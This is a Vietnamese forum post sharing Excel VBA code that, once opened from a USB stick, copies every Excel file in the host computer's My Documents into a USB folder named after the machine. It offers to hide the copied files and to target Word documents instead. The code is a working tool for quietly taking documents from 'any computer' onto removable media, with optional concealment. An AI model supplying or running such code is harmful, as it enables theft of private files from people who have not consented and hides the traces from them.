Copy dữ liệu từ Mydocuments (1 người xem)

[ruadangyeu]

Có một người bạn nhờ mình viết một chương trình có tác dụng copy toàn bộ file excel trong My Documents của một máy tính bất kỳ vào USB. Mình dùng VBA và excel để thực hiện chương trình nhỏ này.

(Nếu dùng nó bạn nên đặt thư mục này vào trong 1 folder khác trong usb)

Nguyên tắc của nó rất đơn giản. Khi nó được mở từ USB, nó sẽ tìm kiểm toàn bộ file excel trong MyDocuments và copy vào một thư mục(Do chương trình tạo ra với tên là tên của người dùng hiện thời của win)
Bạn có thể tuỳ chọn để sau khi copy vào USB các tập tin này sẽ ẩn đi, hay chọn một dạng tài liệu khác như của word chẳng hạn

Hi vọng nó sẽ giúp ích được cho ai đó

Option Explicit
Private Sub copytailieu()
    Dim i As Long
    Dim dat As String
    Dim vitri As Integer
    Dim ten As String
    Dim kq As String
    Dim tenmt As String
    Dim thumuc As String
    Dim mdcm As String 'Dia chi cua MyDocuments
    kq = ThisWorkbook.Path & "\"
    tenmt = Environ("computername")
    thumuc = kq & tenmt
    If Dir(thumuc, vbDirectory) = "" Then
    MkDir thumuc
    End If
    'lay dia chi cua MyDocuments
        mdcm = CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
    'Tim kiem file excel trong MyDocuments
    With Application.FileSearch
        .NewSearch
        .SearchSubFolders = False 'khong tim kiem trong cac thu muc con
        .LookIn = mdcm
        'loai file tim kiem la file excel
        .FileType = msoFileTypeExcelWorkbooks
        'Neu ban muon tim file word thi dung dong nay
        '.FileType = msoFileTypeWordDocuments
        .Execute
    
    'Tien hanh copy
    
    If .FoundFiles.Count > 0 Then
    
        For i = 1 To .FoundFiles.Count
            dat = .FoundFiles(i)
            vitri = InStrRev(dat, "\")
            ten = Mid$(dat, vitri)
            ten = thumuc & ten
            On Error Resume Next
            FileCopy .FoundFiles(i), ten
            'An thu muc va file da copy, neu muon
            'SetAttr thumuc, vbHidden
            'SetAttr ten, vbHidden
            
            
        Next i
    End If
    
    End With
    
End Sub

File mình chưa up lên được do hết Quota